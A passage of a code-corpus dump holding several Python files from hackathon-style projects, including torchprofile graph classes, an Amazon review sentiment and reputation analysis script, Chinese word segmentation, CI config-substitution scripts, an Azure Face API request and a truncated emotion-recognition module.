"AlgorithmChanllengeProject/evaluation_Agora_0903/torchprofile/utils/trace.py" }, { "content": "__all__ = ['Graph']\n\n\nclass Graph:\n def __init__(self, name, variables, inputs, outputs, nodes):\n self.name = name\n self.variables = variables\n self.inputs = inputs\n self.outputs = outputs\n self.nodes = nodes\n\n @property\n def name(self):\n return self._name\n\n @name.setter\n def name(self, name):\n self._name = name\n\n @property\n def variables(self):\n return self._variables\n\n @variables.setter\n def variables(self, variables):\n self._variables = variables\n\n @property\n def inputs(self):\n return self._inputs\n\n @inputs.setter\n def inputs(self, inputs):\n self._inputs = inputs\n\n @property\n def outputs(self):\n return self._outputs\n\n @outputs.setter\n def outputs(self, outputs):\n self._outputs = outputs\n\n @property\n def nodes(self):\n return self._nodes\n\n @nodes.setter\n def nodes(self, nodes):\n self._nodes = nodes\n\n def __repr__(self):\n text = self.name\n text += ' (' + '\\n'\n text += ',\\n'.join(['\\t' + str(v) for v in self.inputs]) + '\\n'\n text += '):' + '\\n'\n text += '\\n'.join(['\\t' + str(x) for x in self.nodes]) + '\\n'\n text += '\\t' + 'return ' + ', '.join([str(v) for v in self.outputs])\n return text\n", "id": "3477691", "language": "Python", "matching_score": 1.3814541101455688, "max_stars_count": 216, "path": "AlgorithmChanllengeProject/evaluation_Agora_0903/torchprofile/utils/ir/graph.py" }, { "content": "__all__ = ['Node']\n\n\nclass Node:\n def __init__(self, operator, attributes, inputs, outputs, scope):\n self.operator = operator\n self.attributes = attributes\n self.inputs = inputs\n self.outputs = outputs\n self.scope = scope\n\n @property\n def operator(self):\n return self._operator\n\n @operator.setter\n def operator(self, operator):\n self._operator = operator.lower()\n\n @property\n def attributes(self):\n return self._attributes\n\n @attributes.setter\n def attributes(self, attributes):\n self._attributes = attributes\n\n @property\n def inputs(self):\n return self._inputs\n\n @inputs.setter\n def inputs(self, inputs):\n self._inputs = inputs\n\n @property\n def outputs(self):\n return self._outputs\n\n @outputs.setter\n def outputs(self, outputs):\n self._outputs = outputs\n\n @property\n def scope(self):\n return self._scope\n\n @scope.setter\n def scope(self, scope):\n self._scope = scope\n\n def __repr__(self):\n text = ', '.join([str(v) for v in self.outputs])\n text += ' = ' + self.operator\n if self.attributes:\n text += '[' + ', '.join(\n [str(k) + ' = ' + str(v)\n for k, v in self.attributes.items()]) + ']'\n text += '(' + ', '.join([str(v) for v in self.inputs]) + ')'\n return text\n", "id": "535156", "language": "Python", "matching_score": 1.5004360675811768, "max_stars_count": 216, "path": "AlgorithmChanllengeProject/evaluation_Agora_0903/torchprofile/utils/ir/node.py" }, { "content": "import operator\nfrom functools import reduce\n\n__all__ = ['prod']\n\n\ndef prod(iterable):\n return reduce(operator.mul, iterable, 1)\n", "id": "5160690", "language": "Python", "matching_score": 0.007687398232519627, "max_stars_count": 216, "path": "AlgorithmChanllengeProject/evaluation_Agora_0903/torchprofile/utils/math.py" }, { "content": "import pandas as pd\nimport json\nimport math\nimport time\nimport matplotlib.pyplot as plt\nimport datetime\nfrom numba import jit\n\nfilename_arr = [\"reverse_microwave.tsv\", \"reverse_hair_dryer.tsv\",\"reverse_pacifier.tsv\"]\nfilename_NLP_arr = [\"NLP1_microwave.tsv\", \"NLP1_hair_dryer.tsv\",\"NLP1_pacifier.tsv\"]\ntime_pin = time.time()\ntime_start = time.time()\ntotal_finished = 0\ntotal_need = 1615+18939+11470\n\ndef return_variables(data):\n marketplace = data.loc[:,'marketplace']\n customer_id = data.loc[:,'customer_id']\n review_id = data.loc[:,'review_id']\n product_id = data.loc[:,'product_id']\n product_parent = data.loc[:,'product_parent']\n product_title = data.loc[:,'product_title']\n product_category = data.loc[:,'product_category']\n star_rating = data.loc[:,'star_rating']\n helpful_votes = data.loc[:,'helpful_votes']\n total_votes = data.loc[:,'total_votes']\n vine = data.loc[:,'vine']\n verified_purchase = data.loc[:,'verified_purchase']\n review_headline = data.loc[:,'review_headline']\n review_body = data.loc[:,'review_body']\n review_date = data.loc[:,'review_date']\n # marketplace,customer_id,review_id,product_id,product_parent,product_title,product_category,star_rating,helpful_votes,total_votes,vine,verified_purchase,review_headline,review_body,review_date = return_variables(data)\n\n return marketplace,customer_id,review_id,product_id,product_parent,product_title,product_category,star_rating,helpful_votes,total_votes,vine,verified_purchase,review_headline,review_body,review_date\n\n\ndef return_single_variables(data_obj):\n marketplace,customer_id,review_id,product_id,product_parent,product_title,product_category,star_rating,helpful_votes,total_votes,vine,verified_purchase,review_headline,review_body,review_date = data_obj\n helpful_votes = int(helpful_votes)\n star_rating = int(star_rating)\n total_votes = int(total_votes)\n return marketplace,customer_id,review_id,product_id,product_parent,product_title,product_category,star_rating,helpful_votes,total_votes,vine,verified_purchase,review_headline,review_body,review_date\n\ndef draw_sentiment_star_charts(attrs):\n # 绘制情绪-评分二维图\n NLP_data,NLP_json_arr,data = attrs\n senti_X = []\n stars_Y = []\n for i in range(len(NLP_data)):\n json_obj = NLP_json_arr[i]\n data_obj = data.values[i]\n sentiment = json_obj[\"document_sentiment\"][\"score\"]\n senti_X.append(math.floor(sentiment*100)/100)\n stars_Y.append(int(data_obj[7]))\n plt.scatter(senti_X,stars_Y)\n # plt.show()\n \n # 清洗评分二维图数据\n ans = [[senti_X[i],stars_Y[i]] for i in range(len(senti_X))]\n ans = sorted(ans)\n ans_dict = {}\n for i in ans:\n ans_dict[\"{},{}\".format(i[0],i[1])] = ans_dict.get(\"{},{}\".format(i[0],i[1]),{\n \"x\": i[0],\n \"y\": i[1],\n \"cnt\": 0\n })\n ans_dict[\"{},{}\".format(i[0],i[1])][\"cnt\"] += 1\n ans_arr = []\n for j in ans_dict.items():\n j=j[1]\n ans_arr.append(\"[\"+\",\".join([str(j[\"x\"]),str(j[\"y\"]),str(j[\"cnt\"]*10000000)])+\"],\")\n print(\"\".join(ans_arr))\n\ndef calc_product_stars(attrs):\n # 计算各产品星级\n NLP_data,NLP_json_arr,data = attrs\n item_value = {}\n # stars, sentiment\n for i in range(len(NLP_data)):\n json_obj = NLP_json_arr[i]\n data_obj = data.values[i]\n marketplace,customer_id,review_id,product_id,product_parent,product_title,product_category,star_rating,helpful_votes,total_votes,vine,verified_purchase,review_headline,review_body,review_date = return_single_variables(data_obj)\n item_value[product_parent] = item_value.get(product_parent,{\n \"title\": product_title,\n \"stars\": 0,\n \"cnt\": 0,\n \"avgStars\": 0\n })\n item_value[product_parent][\"stars\"] += star_rating\n item_value[product_parent][\"cnt\"] += 1\n for j in item_value.items():\n codeA = j[0]\n j = j[1]\n j[\"avgStars\"] = \"%.2f\" % (j[\"stars\"]/j[\"cnt\"])\n print(\"代号:%d,均值:%s\"%(codeA,j[\"avgStars\"]))\n\ndef k_calc_product_reputation(attrs):\n # 计算各产品星级\n NLP_data,NLP_json_arr,data = attrs\n item_value = {}\n # stars, sentiment\n for i in range(len(NLP_data)):\n json_obj = NLP_json_arr[i]\n data_obj = data.values[i]\n marketplace,customer_id,review_id,product_id,product_parent,product_title,product_category,star_rating,helpful_votes,total_votes,vine,verified_purchase,review_headline,review_body,review_date = return_single_variables(data_obj)\n\n item_value[product_parent] = item_value.get(product_parent,{\n \"title\": product_title,\n \"stars\": 0,\n \"cnt\": 0,\n \"avgStars\": 0\n })\n k = 1\n if total_votes != 0:\n if helpful_votes / total_votes > 0.5:\n k = 2 * helpful_votes - total_votes\n else:\n k = 1 / (total_votes - helpful_votes*2)\n \n item_value[product_parent][\"stars\"] += star_rating * k\n item_value[product_parent][\"cnt\"] += 1\n for j in item_value.items():\n codeA = j[0]\n j = j[1]\n j[\"avgStars\"] = \"%.2f\" % (j[\"stars\"]/j[\"cnt\"])\n print(\"代号:%d,均值:%s\"%(codeA,j[\"avgStars\"]))\n\ndef get_delta_time(time,days):\n #以当前时间作为起始点,days=-7向前偏移7天,days=7向后偏移7天\n time = time+datetime.timedelta(days=days)\n return time\n \ndef k_time_calc_product_reputation(attrs, pp):\n # 计算各产品星级\n NLP_data,NLP_json_arr,data = attrs\n item_value = {}\n # stars, sentiment\n for i in range(len(NLP_data)):\n json_obj = NLP_json_arr[i]\n data_obj = data.values[i]\n marketplace,customer_id,review_id,product_id,product_parent,product_title,product_category,star_rating,helpful_votes,total_votes,vine,verified_purchase,review_headline,review_body,review_date = return_single_variables(data_obj)\n if product_parent != pp:\n continue\n date_standard = \"/\".join([\n (\"0\" if len(review_date.split(\",\")[0].split(\"/\")[i])==1 else \"\")\n +review_date.split(\",\")[0].split(\"/\")[i] for i in range(3)])\n # print(date_standard,type(date_standard))\n time_obj = time.strptime(date_standard,\"%m/%d/%Y\")\n item_value[date_standard] = item_value.get(date_standard,{\n \"stars\": 0,\n \"cnt\": 0,\n \"reputation\": 0,\n })\n k = 1\n if total_votes != 0:\n if helpful_votes / total_votes > 0.5:\n k = helpful_votes / (total_votes - helpful_votes if total_votes - helpful_votes != 0 else 0.5) #* math.ceil(helpful_votes / 100)\n item_value[date_standard][\"stars\"] += star_rating * k\n else:\n k = (total_votes-helpful_votes) / (helpful_votes if helpful_votes != 0 else 0.5) #* math.ceil((helpful_votes if helpful_votes!=0 else 1) / 100)\n if star_rating > 2.5:\n print(k,total_votes,helpful_votes,math.ceil(helpful_votes / 100))\n item_value[date_standard][\"stars\"] += star_rating / k\n else:\n item_value[date_standard][\"stars\"] += star_rating * k\n else:\n item_value[date_standard][\"stars\"] += star_rating\n item_value[date_standard][\"cnt\"] += 1\n totalStars = []\n totalCnt = []\n pointer = 0\n time_pointer = None\n current_reputation = 0\n current_cnt = 0\n\n item_value_original = item_value.copy()\n first_time = None\n last_time = None\n for j in item_value_original.items():\n first_time = j[0] if first_time == None else first_time\n time_pointer = time.strptime(j[0],\"%m/%d/%Y\")\n time_pointer = datetime.date(time_pointer.tm_year,time_pointer.tm_mon,time_pointer.tm_mday)\n\n current_reputation = j[1][\"stars\"]\n current_cnt = j[1][\"cnt\"]\n for k in range(14):\n new_time = get_delta_time(time_pointer,-k).strftime(\"%m/%d/%Y\")\n item_value[new_time] = item_value.get(new_time,\n {\n \"stars\": 0,\n \"cnt\": 0,\n \"reputation\": 0,\n })\n current_reputation += float(item_value[new_time][\"reputation\"])\n current_cnt += int(item_value[new_time][\"cnt\"])\n k = -6\n while current_cnt == j[1][\"cnt\"]:\n k -= 1\n new_time = get_delta_time(time_pointer,k).strftime(\"%m/%d/%Y\")\n item_value[new_time] = item_value.get(new_time,\n {\n \"stars\": 0,\n \"cnt\": 0,\n \"reputation\": 0,\n })\n current_reputation += float(item_value[new_time][\"reputation\"])\n current_cnt += int(item_value[new_time][\"cnt\"])\n j[1][\"reputation\"] = current_reputation / current_cnt\n # print(current_reputation, current_cnt, j)\n j[1][\"reputation\"] = \"%.2f\" % (current_reputation / current_cnt)\n # print(\"日期:%s,分数:%s\"%(j[0],j[1][\"reputation\"]))\n # print(\"%s,%s\"%(j[0],j[1][\"reputation\"]))\n last_time = j[0]\n # tmp1 = time.strptime(last_time,\"%m/%d/%Y\")\n # last_time_pointer = datetime.date(tmp1.tm_year,tmp1.tm_mon,tmp1.tm_mday)\n # tmp1 = time.strptime(first_time,\"%m/%d/%Y\")\n # first_time_pointer = datetime.date(tmp1.tm_year,tmp1.tm_mon,tmp1.tm_mday)\n # print(last_time_pointer - first_time_pointer < datetime.timedelta(days=0))\n # datetime_zero = datetime.timedelta(days=0)\n # time_pointer = last_time_pointer\n # # while(first_time_pointer - time_pointer > datetime_zero):\n # # time_pointer = get_delta_time(time_pointer,1)\n lst_time = datetime.date(1900,1,1)\n for i in item_value_original.items():\n tmp1 = time.strptime(i[0],\"%m/%d/%Y\")\n new_time_obj = datetime.date(tmp1.tm_year,tmp1.tm_mon,tmp1.tm_mday)\n new_time_str = i[0].split(\"/\")[2]+\"-\"+i[0].split(\"/\")[0]+\"-\"+i[0].split(\"/\")[1]\n if new_time_obj - lst_time > datetime.timedelta(days=7):\n lst_time = new_time_obj\n print(\"[\\\"{}\\\",{}],\".format(new_time_str,i[1][\"reputation\"]),end=\"\")\n\ndef export_low_star_review(attrs,name):\n NLP_data,NLP_json_arr,data = attrs\n ans = \"\"\n cnt = 0\n for i in range(len(NLP_data)):\n data_obj = data.values[i]\n marketplace,customer_id,review_id,product_id,product_parent,product_title,product_category,star_rating,helpful_votes,total_votes,vine,verified_purchase,review_headline,review_body,review_date = return_single_variables(data_obj)\n if star_rating < 3:\n ans += review_headline+\"\\n\"+review_body +\"\\n\"\n cnt+=1\n if cnt % 2000 == 1: print(star_rating)\n with open(name+\"_LS_review.csv\",\"w\",encoding=\"utf-8\") as f:\n f.write(ans)\n print(name)\n\ndef export_product_parent(attrs,name):\n # 计算各产品星级\n NLP_data,NLP_json_arr,data = attrs\n products = {}\n # stars, sentiment\n for i in range(len(NLP_data)):\n json_obj = NLP_json_arr[i]\n data_obj = data.values[i]\n marketplace,customer_id,review_id,product_id,product_parent,product_title,product_category,star_rating,helpful_votes,total_votes,vine,verified_purchase,review_headline,review_body,review_date = return_single_variables(data_obj)\n products[product_parent] = products.get(product_parent,{\n \"title\": product_title,\n })\n ans_arr = []\n for i in products.items():\n ans_arr.append(str(i[0])+\"\\t\"+i[1][\"title\"])\n ans = \"\\n\".join(ans_arr)\n with open(\"./data_analysis_result/{}_product_parent.tsv\".format(name),\"w\",encoding=\"utf-8\") as f:\n f.write(ans)\n return ans\n\ndef import_product_parent(name):\n data_pp = pd.read_csv(\"./data_analysis_result/{}_product_parent.tsv\".format(name),sep=\"\\t\")\n return data_pp\n\ndef get_datetime_by_str(str1):\n try:\n tmp1 = time.strptime(str1,\"%m/%d/%Y\")\n new_time_obj = datetime.date(tmp1.tm_year,tmp1.tm_mon,tmp1.tm_mday)\n return new_time_obj\n except Exception as identifier:\n print(str1,type(str1),identifier)\n pass\n\ndef get_str_by_datetime(date1):\n return date1.strftime(\"%m/%d/%Y\")\n\ndef get_2nd_number(num):\n return float(\"%.2f\"%num)\n\ndef k_time_calc_product_reputation2(attrs, pp):\n # 计算各产品星级\n NLP_data,NLP_json_arr,data = attrs\n item_value = {}\n first_time = None\n last_time = None\n\n # 取出所有的pp的值\n for i in range(len(NLP_data)):\n json_obj = NLP_json_arr[i]\n data_obj = data.values[i]\n marketplace,customer_id,review_id,product_id,product_parent,product_title,product_category,star_rating,helpful_votes,total_votes,vine,verified_purchase,review_headline,review_body,review_date = return_single_variables(data_obj)\n if product_parent != pp:\n continue\n first_time = review_date if type(first_time) != type(\"123\") else first_time\n date_standard = \"/\".join([\n (\"0\" if len(review_date.split(\",\")[0].split(\"/\")[i])==1 else \"\")\n +review_date.split(\",\")[0].split(\"/\")[i] for i in range(3)])\n time_obj = time.strptime(date_standard,\"%m/%d/%Y\")\n item_value[date_standard] = item_value.get(date_standard,{\n \"stars\": 0,\n \"cnt\": 0,\n \"reputation\": 0,\n })\n\n \n item_value[date_standard][\"stars\"] += star_rating\n item_value[date_standard][\"cnt\"] += 1\n\n last_time = review_date\n\n \n # 生成从开始到结束的每一天的对象\n item_full_value = {}\n first_time = get_datetime_by_str(first_time)\n last_time = get_datetime_by_str(last_time)\n tmp_time = first_time\n datetime_zero = datetime.timedelta(days=0)\n # 从第一天递归到最后一天\n while (last_time - tmp_time >= datetime_zero):\n # 如果这一天有定义,就直接用定义,如果没有,那加入定义\n item_full_value[get_str_by_datetime(tmp_time)] = \\\n item_value.get(get_str_by_datetime(tmp_time),\n {\n \"stars\": 0,\n \"cnt\": 0,\n \"reputation\": 0,\n }\n )\n tmp_time = get_delta_time(tmp_time,1)\n \n time_pointer = None\n current_reputation = 0\n current_cnt = 0\n\n item_value_original = item_full_value.copy()\n for j in item_value_original.items():\n # 取平均值的长度\n step = 15\n # 取出对应时间\n time_pointer = get_datetime_by_str(j[0])\n\n current_reputation = j[1][\"stars\"]*(step/4)\n current_cnt = j[1][\"cnt\"]*(step/4)\n \n for l in range(1,step+1):\n tmp_time = get_delta_time(time_pointer,-l)\n if first_time - tmp_time > datetime_zero:\n break\n current_reputation += item_value_original[get_str_by_datetime(tmp_time)][\"stars\"]\n current_cnt += item_value_original[get_str_by_datetime(tmp_time)][\"cnt\"]\n try:\n j[1][\"reputation\"] = get_2nd_number(current_reputation / current_cnt)\n j[1][\"stars\"] = get_2nd_number(current_reputation / current_cnt)\n j[1][\"cnt\"] = 1\n except Exception as identifier:\n print(identifier,j)\n lst_time = datetime.date(1900,1,1)\n for i in item_value_original.items():\n # print(type(i))\n new_time_obj = get_datetime_by_str(i[0])\n new_time_str = i[0].split(\"/\")[2]+\"-\"+i[0].split(\"/\")[0]+\"-\"+i[0].split(\"/\")[1]\n if new_time_obj - lst_time > datetime.timedelta(days=7):\n lst_time = new_time_obj\n print(\"[\\\"{}\\\",{}],\".format(new_time_str,i[1][\"reputation\"]),end=\"\")\n if last_time - new_time_obj < datetime.timedelta(days=7): exit()\n\ndef get_star_avg(attrs,pp):\n NLP_data,NLP_json_arr,data = attrs\n item_value = {}\n first_time = None\n last_time = None\n\n total_stars = 0\n total_cnt = 0\n # 取出所有的pp的值\n for i in range(len(NLP_data)):\n json_obj = NLP_json_arr[i]\n data_obj = data.values[i]\n marketplace,customer_id,review_id,product_id,product_parent,product_title,product_category,star_rating,helpful_votes,total_votes,vine,verified_purchase,review_headline,review_body,review_date = return_single_variables(data_obj)\n if product_parent != pp:\n continue\n total_stars += star_rating\n total_cnt += 1\n return total_stars/total_cnt\n\ndef get_all_star_avg(attrs,ppnames):\n NLP_data,NLP_json_arr,data = attrs\n item_value = {}\n first_time = None\n last_time = None\n for i in ppnames:\n item_value[i] = item_value.get(i,{\n \"avg\": get_star_avg(attrs,i)\n })\n # print(\"\")\n for i in item_value.items():\n print(\"\\\"{}\\\",\".format(round(int(i[0])/100000)),end=\"\")\n print(\"\")\n for i in item_value.items():\n print(\"{},\".format(get_2nd_number(i[1][\"avg\"])),end=\"\")\n \ndef calc_H(total_votes,helpful_votes,vine,verified_purchase):\n unhelpful_votes = total_votes - helpful_votes\n H = 1+(((helpful_votes - 1.2 * unhelpful_votes)/total_votes) if total_votes != 0 else 0)\n # if H < 0:\n # return -1\n if vine == \"Y\": H = H * 1.2\n if verified_purchase == \"N\": H = H * 0.8\n # if H == 0: print(total_votes,helpful_votes,vine,verified_purchase)\n # print(str(get_2nd_number(H))+\",\",end=\"\")\n return H\n\nflag = True\ndef debug_once(varss):\n global flag\n if flag == False: return 0\n flag = False\n print(varss)\n\ndef k_time_calc_product_reputation3(attrs, pp):\n # 计算各产品星级\n NLP_data,NLP_json_arr,data = attrs\n item_value = {}\n first_time = None\n last_time = None\n\n # 取出所有的pp的值\n\ndef main():\n\n limit_ps = [[459626087, 305608994, 930071734, 109226352, 690479711],[670161917, 357308868, 732252283, 486589264, 983445543],[450475749, 572944212, 812583172, 911821018, 246038397]]\n\n for f in range(2,3):\n # 读入源数据 NLP情绪分析数据\n data = pd.read_csv(\"./data/\"+filename_arr[f],sep=\"\\t\")\n NLP_data = pd.read_csv(\"./data/\"+filename_NLP_arr[f],sep=\"\\t\").values\n NLP_json_arr = []\n for i in range(len(NLP_data)):\n NLP_json_arr.append(json.loads(NLP_data[i][0]))\n attrs_tuple = (NLP_data,NLP_json_arr,data)\n # 242727854 423421857 459626087\n ppa = 423421857\n # k_time_calc_product_reputation3(attrs_tuple,pp)\n print(\"\")\n # k_time_calc_product_reputation2(attrs_tuple,pp)\n # export_low_star_review(attrs_tuple,filename_arr[f])\n # export_product_parent(attrs_tuple,filename_arr[f])\n # pp_names = import_product_parent(filename_arr[f])\n # make_scatter_time_review2(attrs_tuple,pp_names)\n # get_all_star_avg(attrs_tuple,pp_names.loc[:,\"pp\"])\n # break\n a = False\n # 输出两者结合的内容\n if a:\n get_star_avg_comment_sentiment2(attrs_tuple,pp_names.loc[:,\"pp\"].values)\n with open(filename_arr[f]+\"ans.json\",\"w\") as f:\n for j in range(len(ans_this[1])):\n print(\"[{},{}],\".format(ans_this[0][j],ans_this[1][j]),end=\"\")\n f.write(\"[{},{}],\".format(ans_this[0][j],ans_this[1][j]))\n print(\"\")\n f.write(\"\\n\")\n for j in range(len(ans_this[1])):\n print(\"[{},{}],\".format(ans_this[0][j],ans_this[2][j]),end=\"\")\n f.write(\"[{},{}],\".format(ans_this[0][j],ans_this[2][j]))\n f.write(\"\\n\")\n\n # 输出市场占有率\n # if False:\n # print(\"\".join(get_market_ratio(attrs_tuple,pp_names)))\n # limit_pp,limit_pp_name = get_market_ratio(attrs_tuple,pp_names)\n # print(limit_pp,limit_pp_name)\n # data123 = calc_product_potential(attrs_tuple,limit_pp)\n # # with open(\"new.json\",\"w\") as f:\n # # f.write(data123)\n # print(data123)\n # ans = guiyi(data123,limit_pp_name)\n # ans.sort(key=lambda x: - x[1])\n # print(ans[0:5])\n\n keywords = [[\"size\",\"space\",\"small\",\"smaller\",\"tiny\",\"quiet\",\"quieter\",\"loud\",\"noisy\",\"price\",\"second\",\"minutes\",\"efficient\",\"power\",\"work\",\"works\",\"worked\",\"function\",\"functions\",\"operate\",\"shipped\",\"ship\",\"install\",\"malfunctions\",\"broke\",\"great\",\"stylish\",\"stainless\",\"beautiful\",\"love\",\"worth\",\"perfect\",\"reliable\",\"warranty\",\"service\",\"Samsung\",\"food\",\"fan\",\"week\",\"plastic\",\"panel\",\"magnetron\"],\n [\"size\",\"space\",\"small\",\"smaller\",\"tiny\",\"quiet\",\"quieter\",\"loud\",\"noisy\",\"price\",\"second\",\"minutes\",\"efficient\",\"power\",\"work\",\"works\",\"worked\",\"function\",\"functions\",\"operate\",\"shipped\",\"ship\",\"install\",\"malfunctions\",\"broke\",\"great\",\"stylish\",\"stainless\",\"beautiful\",\"love\",\"worth\",\"perfect\",\"reliable\",\"cord\",\"Conair\",\"heat\",\"warranty\",\"heavy\",\"Dryer\",\"button\",\"bonnet\",\"plastic\",\"speed\",\"light\"],\n [\"size\",\"space\",\"small\",\"smaller\",\"tiny\",\"quiet\",\"quieter\",\"loud\",\"noisy\",\"price\",\"second\",\"minutes\",\"efficient\",\"power\",\"work\",\"works\",\"worked\",\"function\",\"functions\",\"operate\",\"shipped\",\"ship\",\"install\",\"malfunctions\",\"broke\",\"great\",\"stylish\",\"stainless\",\"beautiful\",\"love\",\"worth\",\"perfect\",\"reliable\",\"cord\",\"Conair\",\"heat\",\"warranty\",\"heavy\",\"Dryer\",\"button\",\"bonnet\",\"plastic\",\"speed\",\"light\",\"quality\",\"seat\",\"nipple\",\"size\",\"bottles\",\"stroller\",\"waste\",\"pink\",\"newborn\",\"animal\"]\n ]\n calc_key_words_senti(attrs_tuple,keywords[f],limit_ps[f])\n # export_only_top_5(attrs_tuple,filename_arr[f],limit_ps[f])\n\nmain()\n", "id": "9618734", "language": "Python", "matching_score": 0.9411388635635376, "max_stars_count": 33, "path": "SDKChallengeProject/CodeSync/demos/Demo.py" }, { "content": "# coding:utf-8\n\nfrom collections import Counter\nfrom os import path\nimport jieba\njieba.load_userdict(path.join(path.dirname(__file__),'userdict//userdict.txt')) # 导入用户自定义词典\n\ndef word_segment(text):\n '''\n 通过jieba进行分词并通过空格分隔,返回分词后的结果\n '''\n\n # 计算每个词出现的频率,并存入txt文件\n jieba_word=jieba.cut(text,cut_all=False) # cut_all是分词模式,True是全模式,False是精准模式,默认False\n data=[]\n for word in jieba_word:\n data.append(word)\n dataDict=Counter(data)\n with open('doc//词频统计.txt','w') as fw:\n for k,v in dataDict.items():\n fw.write(\"%s,%d\\n\" % (k,v))\n # fw.write(\"%s\"%dataDict)\n\n\n # 返回分词后的结果\n jieba_word=jieba.cut(text,cut_all=False) # cut_all是分词模式,True是全模式,False是精准模式,默认False\n seg_list=' '.join(jieba_word)\n return seg_list\n\n", "id": "11214947", "language": "Python", "matching_score": 0.03395301103591919, "max_stars_count": 33, "path": "SDKChallengeProject/[DaiGua]Post-it Notes/yuntu/chnSegment.py" }, { "content": "\"\"\"\r\n@project: mobile_sr_evaluation\r\n@author: sfzhou\r\n@file: dataloader.py\r\n@ide: PyCharm\r\n@time: 2019/5/14 16:26\r\n\r\n\"\"\"\r\nfrom torchvision.transforms import ToTensor\r\nimport os\r\nfrom torch.utils.data import Dataset\r\nimport PIL.Image as pil_image\r\n\r\nclass TestDataset(Dataset):\r\n\r\n def __init__(self, HR_path, LR_path):\r\n super(TestDataset, self).__init__()\r\n\r\n self.HR_root = HR_path\r\n self.LR_root = LR_path\r\n self.HR_paths = sorted(os.listdir(HR_path))\r\n self.LR_paths = sorted(os.listdir(LR_path))\r\n assert len(self.HR_paths) == len(self.LR_paths)\r\n\r\n def __getitem__(self, index):\r\n\r\n HR_path = os.path.join(self.HR_root, self.HR_paths[index])\r\n HR_image = pil_image.open(HR_path).convert('RGB')\r\n\r\n LR_path = os.path.join(self.LR_root, self.LR_paths[index])\r\n LR_image = pil_image.open(LR_path).convert('RGB')\r\n\r\n LR_tensor = ToTensor()(LR_image)\r\n HR_tensor = ToTensor()(HR_image)\r\n return LR_tensor, HR_tensor\r\n\r\n def __len__(self):\r\n return len(self.HR_paths)\r\n", "id": "8476901", "language": "Python", "matching_score": 3.275750160217285, "max_stars_count": 33, "path": "AlgorithmChanllengeProject/evaluation_Agora_0903/utils/dataloader.py" }, { "content": "\"\"\"\r\n@project: mobile_sr_evaluation\r\n@author: sfzhou\r\n@file: __init__.py.py\r\n@ide: PyCharm\r\n@time: 2019/5/14 15:38\r\n\r\n\"\"\"", "id": "2714056", "language": "Python", "matching_score": 0, "max_stars_count": 33, "path": "AlgorithmChanllengeProject/evaluation_Agora_0903/utils/__init__.py" }, { "content": "#!/usr/bin/python\n# -*- coding: UTF-8 -*-\nimport sys\nimport os\nimport re\n\n\ndef main():\n appId = sys.argv[1]\n auth = sys.argv[2]\n host = sys.argv[3]\n\n # if need reset\n f = open('./app/src/main/res/values/string_configs.xml', 'r+')\n content = f.read()\n\n contentNew = content\n contentNew = re.sub(r'<#YOUR APP ID#>', appId, contentNew)\n contentNew = re.sub(r'<#YOUR AUTH#>', auth, contentNew)\n\n f.seek(0)\n f.write(contentNew)\n f.truncate()\n\n # if need reset\n f = open('./app/build.gradle', 'r+')\n content = f.read()\n\n contentNew = content\n contentNew = re.sub(r'https://api.agora.io/scenario', host, contentNew)\n\n f.seek(0)\n f.write(contentNew)\n f.truncate()\n\n\nif __name__ == \"__main__\":\n main()\n", "id": "6675076", "language": "Python", "matching_score": 2.929398536682129, "max_stars_count": 3, "path": "ci.env.py" }, { "content": "#!/usr/bin/python\n# -*- coding: UTF-8 -*-\nimport re\nimport os\nimport sys\n\ndef main():\n os.system(\"pod install\")\n agoraAppId = sys.argv[1]\n agoraAuth = sys.argv[2]\n agoraHost = sys.argv[3]\n \n f = open(\"./VideoConference/KeyCenter.m\", 'r+')\n content = f.read()\n agoraAppIdString = \"@\\\"\" + agoraAppId + \"\\\"\"\n agoraAuthString = \"@\\\"\" + agoraAuth + \"\\\"\"\n \n contentNew = re.sub(r'<#Your Agora App Id#>', agoraAppIdString, content)\n contentNew = re.sub(r'<#Your Authorization#>', agoraAuthString, contentNew)\n\n f.seek(0)\n f.write(contentNew)\n f.truncate()\n \n f = open(\"./Modules/AgoraRoom/AgoraRoom/BaseManager/HTTP/URL.h\", 'r+')\n content = f.read()\n agoraHostString = agoraHost\n \n contentNew = re.sub(r'https://api.agora.io/scenario', agoraHostString, content)\n\n f.seek(0)\n f.write(contentNew)\n f.truncate()\n\n\nif __name__ == \"__main__\":\n main()\n", "id": "10561885", "language": "Python", "matching_score": 1, "max_stars_count": 1, "path": "ci.env.py" }, { "content": "# coding:utf-8\n\nfrom os import path\nimport plotWordcloud\nimport sys\n\nif __name__ == '__main__':\n arg1 = sys.argv[1]\n arg2 = sys.argv[2]\n\n plotWordcloud.generate_wordcloud(arg1, arg2)\n\n print(arg1)\n", "id": "4653425", "language": "Python", "matching_score": 0, "max_stars_count": 33, "path": "SDKChallengeProject/[DaiGua]Post-it Notes/yuntu/mywordcloud.py" }, { "content": "import requests\nimport json\nimport os\n\nsubscription_key = os.environ.get('AZURE_KEY')\nassert subscription_key\n\nface_api_url = 'https://westcentralus.api.cognitive.microsoft.com/face/v1.0/detect'\n\nimage_url = 'https://upload.wikimedia.org/wikipedia/commons/3/37/Dagestani_man_and_woman.jpg'\n\nheaders = {'Ocp-Apim-Subscription-Key': subscription_key}\n\nparams = {\n 'returnFaceId': 'true',\n 'returnFaceLandmarks': 'false',\n 'returnFaceAttributes': 'emotion',\n}\n\nresponse = requests.post(face_api_url, params=params,\n headers=headers, json={\"url\": image_url})\nprint(json.dumps(response.json()))", "id": "10206820", "language": "Python", "matching_score": 1.259250521659851, "max_stars_count": 1, "path": "backend.py" }, { "content": "import cv2\nimport numpy as np\nfrom keras.models import load_model\nfrom statistics import mode\nfrom utils.datasets import get_labels\nfrom utils.inference import detect_faces\nfrom utils.inference import draw_text\nfrom utils.inference import draw_bounding_box\nfrom utils.inference import apply_offsets\nfrom utils.inference import load_detection_model\nfrom utils.preprocessor import preprocess_input\nimport tensorflow as tf\n\n\n# parameters for loading data and images\nemotion_model_path = './models/model.hdf5'\nemotion_labels = get_labels('fer2013')\n\n# hyper-parameters for bounding boxes shape\nframe_window = 10\nemotion_offsets = (20, 40)\n\n# loading models\nface_cascade = cv2.CascadeClassifier('./models/face_box.xml')\nemotion_classifier = load_model(emotion_model_path)\ngraph = tf.get_default_graph()\n\n\n# getting input model shapes for inference\nemotion_target_size = emotion_classifier.input_shape[1:3]\n\n# starting lists for calculating modes\nemotion_window = []\n\n\n# Select video or webcam feed\ndef final_ml_predict(bgr_image):\n gray_image = cv2.cvtColor(bgr_image, cv2.COLOR_BGR2GRAY)\n rgb_image = cv2.cvtColor(bgr_image, cv2.COLOR_BGR2RGB)\n\n faces = face_cascade.detectMultiScale(gray_image, scaleFactor=1.1, 